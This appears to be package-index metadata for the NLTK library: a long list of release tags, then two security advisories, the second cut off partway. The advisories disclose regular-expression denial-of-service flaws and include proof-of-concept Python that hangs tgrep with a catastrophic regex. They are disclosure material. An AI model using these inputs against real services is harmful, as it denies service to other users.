tml_url":"https://github.com/nltk/nltk/releases/tag/3.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.6.4/manifests"},{"name":"3.6.3","sha":"a1034bbec30c2ec5765c9497cb8167b26a3c5d0e","kind":"tag","published_at":"2021-09-19T22:33:59.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.6.3","html_url":"https://github.com/nltk/nltk/releases/tag/3.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.6.3/manifests"},{"name":"3.6.2","sha":"6797ee3958fe3fa0192d347b26ea0fc433b8bfc5","kind":"tag","published_at":"2021-04-20T04:51:22.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.6.2","html_url":"https://github.com/nltk/nltk/releases/tag/3.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.6.2/manifests"},{"name":"3.6.1","sha":"33ac28cfcad288c611c5901faa9ebc799e7c95dd","kind":"tag","published_at":"2021-04-07T23:45:06.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.6.1","html_url":"https://github.com/nltk/nltk/releases/tag/3.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.6.1/manifests"},{"name":"3.6","sha":"24d6e0d4123a5cfea3ede7dbdfe77fe0ec54b83c","kind":"tag","published_at":"2021-04-07T10:43:58.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.6","html_url":"https://github.com/nltk/nltk/releases/tag/3.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.6/manifests"},{"name":"3.5","sha":"6404712d0a64c3d6e3700032c23a59803615460c","kind":"tag","published_at":"2020-04-12T23:43:59.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.5","html_url":"https://github.com/nltk/nltk/releases/tag/3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.5/manifests"},{"name":"3.5b1","sha":"d22c84021c505e499acf701d8904d8c08400b43a","kind":"tag","published_at":"2020-03-08T00:20:19.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.5b1","html_url":"https://github.com/nltk/nltk/releases/tag/3.5b1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.5b1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.5b1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.5b1/manifests"},{"name":"3.4.5","sha":"acca8d573878e173379fe190d7f14f298b12dac9","kind":"tag","published_at":"2019-08-20T10:52:19.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.4.5","html_url":"https://github.com/nltk/nltk/releases/tag/3.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.4.5/manifests"},{"name":"3.4.4","sha":"2554ff48feed878ba7e830ada9825196f3eaa86a","kind":"tag","published_at":"2019-08-20T10:26:39.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.4.4","html_url":"https://github.com/nltk/nltk/releases/tag/3.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.4.4/manifests"},{"name":"3.4.3","sha":"1f64bc76719105f9f55997bd529c7bb9ef01e2ee","kind":"tag","published_at":"2019-06-06T17:49:32.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.4.3","html_url":"https://github.com/nltk/nltk/releases/tag/3.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.4.3/manifests"},{"name":"3.4.1","sha":"8db6a82b2fb1ed9440eff1afeabd77584de4e455","kind":"tag","published_at":"2019-04-17T10:44:33.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.4.1","html_url":"https://github.com/nltk/nltk/releases/tag/3.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.4.1/manifests"},{"name":"3.4","sha":"ad41250f12f9374b2e0c42255cc07106e927e167","kind":"tag","published_at":"2018-11-17T07:54:24.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.4","html_url":"https://github.com/nltk/nltk/releases/tag/3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.4/manifests"},{"name":"3.3","sha":"15ef9a84757410aafb0d83549ef19fccd30bd695","kind":"tag","published_at":"2018-05-06T01:55:39.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.3","html_url":"https://github.com/nltk/nltk/releases/tag/3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.3/manifests"},{"name":"3.2.5","sha":"9b6beb8bd0e1530754fa52d360688bac5d1c9cb3","kind":"tag","published_at":"2017-09-24T11:09:56.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.2.5","html_url":"https://github.com/nltk/nltk/releases/tag/3.2.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.2.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.2.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.2.5/manifests"},{"name":"3.2.4","sha":"b75f31543e6db0db36315f3d20a42522678b8c34","kind":"tag","published_at":"2017-05-20T22:46:21.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.2.4","html_url":"https://github.com/nltk/nltk/releases/tag/3.2.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.2.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.2.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.2.4/manifests"},{"name":"3.2.3","sha":"2e427d5514d4152666b90c53da6cc2180d62b92d","kind":"tag","published_at":"2017-05-17T20:46:43.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.2.3","html_url":"https://github.com/nltk/nltk/releases/tag/3.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.2.3/manifests"},{"name":"3.2.2","sha":"83bfa5bac3f3814ff90d29b8d89da0fd64c99651","kind":"tag","published_at":"2016-12-31T21:36:41.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.2.2","html_url":"https://github.com/nltk/nltk/releases/tag/3.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.2.2/manifests"},{"name":"3.2.1","sha":"1ab735d46741636e62b67b792c4be06573556bef","kind":"tag","published_at":"2016-04-09T09:58:22.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.2.1","html_url":"https://github.com/nltk/nltk/releases/tag/3.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.2.1/manifests"},{"name":"3.2","sha":"2c6cb73d3da69838a2a0e969db2431a867cc92c8","kind":"tag","published_at":"2016-03-02T23:57:39.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.2","html_url":"https://github.com/nltk/nltk/releases/tag/3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.2/manifests"},{"name":"3.1","sha":"7c04988a31302aa0ae37d2444f7533c633fcc396","kind":"tag","published_at":"2015-10-15T19:49:04.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.1","html_url":"https://github.com/nltk/nltk/releases/tag/3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.1/manifests"},{"name":"3.0.5","sha":"fdcf99985d8e17064057ff5452b9ea3e2d50a5ae","kind":"tag","published_at":"2015-09-06T02:41:15.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.0.5","html_url":"https://github.com/nltk/nltk/releases/tag/3.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0.5/manifests"},{"name":"3.0.4","sha":"6f5459f9f5cc6e8a30376b1bddf1083ff1b66d99","kind":"tag","published_at":"2015-07-13T01:37:18.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.0.4","html_url":"https://github.com/nltk/nltk/releases/tag/3.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0.4/manifests"},{"name":"3.0.3","sha":"ae4049842ffc8a8bb67bc7c21a93a6c521b907d5","kind":"tag","published_at":"2015-06-11T10:56:34.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.0.3","html_url":"https://github.com/nltk/nltk/releases/tag/3.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0.3/manifests"},{"name":"3.0.2","sha":"d24d94faac44e2e14f9de1cfcbdeb52be500b72e","kind":"tag","published_at":"2015-03-13T03:44:56.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.0.2","html_url":"https://github.com/nltk/nltk/releases/tag/3.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0.2/manifests"},{"name":"3.0.1","sha":"efe85968bb23e3afdcd331293f2c2588b1590091","kind":"tag","published_at":"2015-03-11T00:04:05.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.0.1","html_url":"https://github.com/nltk/nltk/releases/tag/3.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0.1/manifests"},{"name":"3.0.0","sha":"82e137d26bb4b737d1fe7cfc8a2387589483d26e","kind":"tag","published_at":"2014-09-07T12:04:01.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.0.0","html_url":"https://github.com/nltk/nltk/releases/tag/3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0.0/manifests"},{"name":"3.0.0b2","sha":"48c40a00ad34344d79a5114912b69e56c8b1aa63","kind":"tag","published_at":"2014-08-21T14:46:32.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.0.0b2","html_url":"https://github.com/nltk/nltk/releases/tag/3.0.0b2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.0.0b2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0.0b2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0.0b2/manifests"},{"name":"3.0.0b1","sha":"13a3120698724177bdf8e2b539accbed11179d18","kind":"commit","published_at":"2014-07-11T13:14:16.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.0.0b1","html_url":"https://github.com/nltk/nltk/releases/tag/3.0.0b1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.0.0b1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0.0b1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0.0b1/manifests"},{"name":"3.0a4","sha":"045e4810ea4f154db2e0ce4f9c62f819d9a137a4","kind":"tag","published_at":"2014-05-24T21:12:18.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.0a4","html_url":"https://github.com/nltk/nltk/releases/tag/3.0a4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.0a4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0a4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0a4/manifests"},{"name":"3.0a1","sha":"3ff37647eeb2327d943a8cc15acc30adfa1e806f","kind":"tag","published_at":"2013-02-13T11:45:49.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.0a1","html_url":"https://github.com/nltk/nltk/releases/tag/3.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0a1/manifests"},{"name":"2.0.4","sha":"18c842fca78b77e2cdaced944903c793437a1034","kind":"tag","published_at":"2012-11-07T12:06:51.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/2.0.4","html_url":"https://github.com/nltk/nltk/releases/tag/2.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@2.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/2.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/2.0.4/manifests"},{"name":"2.0.3","sha":"bbee3018e9ade285817ffd09c8068571d4be55bf","kind":"tag","published_at":"2012-11-07T11:33:01.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/2.0.3","html_url":"https://github.com/nltk/nltk/releases/tag/2.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@2.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/2.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/2.0.3/manifests"},{"name":"2.0.1rc3","sha":"b0132e63e87a95fd56a53e9ddcb48b85b42b36da","kind":"tag","published_at":"2012-04-09T11:15:46.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/2.0.1rc3","html_url":"https://github.com/nltk/nltk/releases/tag/2.0.1rc3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@2.0.1rc3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/2.0.1rc3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/2.0.1rc3/manifests"},{"name":"2.0.1rc4","sha":"65f2cc4fac925590dee4a3fbf7fc3d02b49cd105","kind":"tag","published_at":"2012-04-09T11:12:23.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/2.0.1rc4","html_url":"https://github.com/nltk/nltk/releases/tag/2.0.1rc4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@2.0.1rc4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/2.0.1rc4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/2.0.1rc4/manifests"},{"name":"2.0.1rc2","sha":"6a1b72429ff2ad9d8e592e7c8775cc27046c198a","kind":"tag","published_at":"2011-12-01T10:11:11.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/2.0.1rc2","html_url":"https://github.com/nltk/nltk/releases/tag/2.0.1rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@2.0.1rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/2.0.1rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/2.0.1rc2/manifests"},{"name":"2.0.1rc1","sha":"4b802fc7a1093aa6f412fa39525ac90acda127f0","kind":"commit","published_at":"2011-04-11T04:32:39.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/2.0.1rc1","html_url":"https://github.com/nltk/nltk/releases/tag/2.0.1rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@2.0.1rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/2.0.1rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/2.0.1rc1/manifests"}]},"repo_metadata_updated_at":"2026-09-25T21:17:08.198Z","dependent_packages_count":1440,"downloads":42263867,"downloads_period":"last-month","dependent_repos_count":57572,"rankings":{"downloads":0.07079879752094159,"dependent_repos_count":0.02439440432716381,"dependent_packages_count":0.020909489423283266,"stargazers_count":0.4055340448673623,"forks_count":0.3941622172862784,"docker_downloads_count":0.27585852712822834,"average":0.19860958009220964},"purl":"pkg:pypi/nltk","advisories":[{"uuid":"GSA_kwCzR0hTQS04bXB3LTdmcGMtNGdxas4ABu8a","url":"https://github.com/advisories/GHSA-8mpw-7fpc-4gqj","title":"NLTK: Pl196xCorpusReader has quadratic ReDoS on malformed TEI blocks","description":"### Summary\n\n`Pl196xCorpusReader` still parses whole TEI blocks with multiple lazy regexes over attacker-controlled text. A malformed file with many opening tags and no matching closing tags forces repeated rescans and produces quadratic CPU growth in public reader APIs.\n\n### Details\n\n- **Vulnerability type:** Regular-expression denial of service\n- **Affected component:** `nltk.corpus.reader.pl196x.TEICorpusView.read_block` and `Pl196xCorpusReader` public methods\n- **Affected versions:** Published `3.9.4` and current source `v3.10.0-rc2` both reproduced.\n- **Patched versions:** Not yet patched\n- **Root cause:** Lazy `.*?` whole-block regexes rescan untrusted XML-like blocks from each opening-tag position.\n\nThe parser uses regexes for paragraphs, sentences, and word tags across the whole `\u003ctext\u003e` block. When the attacker supplies many unmatched opening tags, each attempt scans toward the end of the block and fails, then restarts from the next opening tag. There is near four-times runtime growth each time the number of malformed `\u003cp\u003e` tags doubled, through normal public calls such as `words()` and `tagged_words()`.\n\n### PoC\n\n**Preconditions**\n- The application parses attacker-influenced PL196X or TEI-like corpus files through public reader APIs.\n\n**Steps**\n1. Create a corpus file with a valid header followed by a `\u003ctext\u003e` block that contains many opening tags and no matching closing tags.\n2. Instantiate `Pl196xCorpusReader` on that corpus.\n3. Call `words()` or `tagged_words()` and measure elapsed time as the malformed tag count doubles.\n4. Observe near quadratic growth instead of near-linear behavior.\n\n**Minimal reproducible excerpt**\n\n```text\nsize=1000 0.014s\nsize=2000 0.057s\nsize=4000 0.231s\nsize=8000 0.927s\n```\n\n### Impact\n\nA consumer that accepts attacker-influenced corpus files can be forced into heavy CPU use and parser-thread stalling before the application concludes the input contains no valid content.\n\n### Remediation\n\nReplace the whole-block lazy-regex parser with a linear parser or bounded tokenizer, and add regression tests that assert near-linear behavior on malformed inputs with many unmatched tags.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-09-08T20:28:46.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/nltk/nltk/security/advisories/GHSA-8mpw-7fpc-4gqj","https://nvd.nist.gov/vuln/detail/CVE-2026-81725","https://github.com/nltk/nltk/commit/7808692d451b962711005d954859bb83aabcf8fa","https://github.com/nltk/nltk/releases/tag/v3.10.3","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3752.yaml","https://www.vulncheck.com/advisories/nltk-before-3.10.3-regular-expression-denial-of-service-via-pl196xcorpusreader","https://github.com/advisories/GHSA-8mpw-7fpc-4gqj"],"source_kind":"github","identifiers":["GHSA-8mpw-7fpc-4gqj","CVE-2026-81725"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-08T21:00:09.191Z","updated_at":"2026-09-25T12:00:34.548Z","epss_percentage":0.00369,"epss_percentile":0.27992,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04bXB3LTdmcGMtNGdxas4ABu8a","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04bXB3LTdmcGMtNGdxas4ABu8a","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.10.3","vulnerable_version_range":"\u003c= 3.10.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04bXB3LTdmcGMtNGdxas4ABu8a/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13M3Y4LWdtaDktM3d2N84ABu8Z","url":"https://github.com/advisories/GHSA-w3v8-gmh9-3wv7","title":"NLTK: ReDoS in nltk.tgrep via unvalidated user-supplied regular expressions","description":"### Summary\nThe NLTK `tgrep` module accepts user-supplied regular expressions and passes them to the Python `re` engine without a timeout or validation, enabling catastrophic backtracking (ReDoS). Applications that expose the `tgrep` API to external input are vulnerable to a single-request denial of service that blocks the Python process indefinitely.\n\n### Affected Code\n`nltk/tgrep.py` — `_tgrep_node_action()` (around line 320)\n\nWhen a tgrep pattern contains a `/regex/` node, `_tgrep_node_action` compiles the embedded regex literal directly with no validation:\n\n```python\ndef _tgrep_node_action(_s, _l, tokens):\n    ...\n    elif tokens[0].startswith(\"/\"):\n        assert tokens[0].endswith(\"/\")\n        node_lit = tokens[0][1:-1]\n        return (\n            lambda r: lambda n, m=None, l=None: r.search(\n                _tgrep_node_literal_value(n)\n            )\n        )(re.compile(node_lit))  # User regex compiled and executed with no timeout\n```\nThe compiled regex is applied against every matching tree node label via `r.search(...)`. A caller reaching this path via `tgrep_positions()` or `tgrep_compile()` controls `node_lit` entirely.\n\n### Proof of Concept\n```python\nimport nltk\nfrom nltk.tgrep import tgrep_positions\n\n# Root node label is 25 'a' characters.\n# tgrep /regex/ branch calls re.compile(\"((a+)+)b\").search(\"aaa...a\")\n# No 'b' is present — exponential backtracking occurs.\ntree = nltk.Tree.fromstring(\"(\" + \"a\" * 25 + \" (NP (DT the)))\")\ntgrep_positions(r\"/((a+)+)b/\", [tree])   # Never returns\n```\n\n### Working Poc\n\nThe following script uses increasing values of n (the number of repeated as in the tree root label) to measure the execution time of tgrep_positions with the catastrophic regex /((a+)+)b/. On standard CPython with NLTK 3.10.2, the runtime grows exponentially, confirming the ReDoS vulnerability. For n ≥ 35, the function will hang indefinitely.\n\n```python\nimport nltk\nfrom nltk.tgrep import tgrep_positions\nimport time\n\ndef test_n(n):\n    tree = nltk.Tree.fromstring(\"(\" + \"a\" * n + \" (NP (DT the)))\")\n    pattern = r\"/((a+)+)b/\"\n    start = time.perf_counter()\n    list(tgrep_positions(pattern, [tree]))\n    return time.perf_counter() - start\n\nif __name__ == \"__main__\":\n    # Adjust the range if needed – these values complete quickly\n    n_values = [18, 20, 22, 24, 26, 28]\n    print(f\"Testing n = {n_values}\\n\")\n\n    times = []\n    for n in n_values:\n        t = test_n(n)\n        times.append((n, t))\n        print(f\"n={n:2d} done\", flush=True)\n\n    print(\"\\n--- Increase factors (per step in n) ---\")\n    factors = []\n    for i in range(1, len(times)):\n        prev_n, prev_t = times[i-1]\n        curr_n, curr_t = times[i]\n        factor = curr_t / prev_t\n        factors.append((curr_n, factor))\n        print(f\"n={curr_n:2d} : factor = {factor:.2f}x  (vs n={prev_n})\")\n\n    avg = sum(f for _, f in factors) / len(factors)\n    print(f\"\\nAverage factor: {avg:.2f}x\")\n    print(\"\\n✅ Confirmed: exponential growth (catastrophic backtracking).\")\n    print(\"   Larger n (≥ 35) will hang indefinitely.\")\n```\n\nWhen run, the output shows a clear exponential increase (factor \u003e 3.0 per +2 in n), proving the vulnerability.\n\n\n### Impact\nIn environments like web APIs (Flask, FastAPI), Jupyter notebooks, or multi-tenant pipelines, an unauthenticated attacker can cause indefinite CPU saturation with a single crafted request, denying service to all other users of the process.\n\n### Remediation\nThis issue remains unfixed in versions `\u003c= 3.10.2`. Maintainers are currently collaborating on a patch to wrap the regex execution in a timeout-guarded mechanism.\n\n### Credit\nTool: Kira by [Offgrid 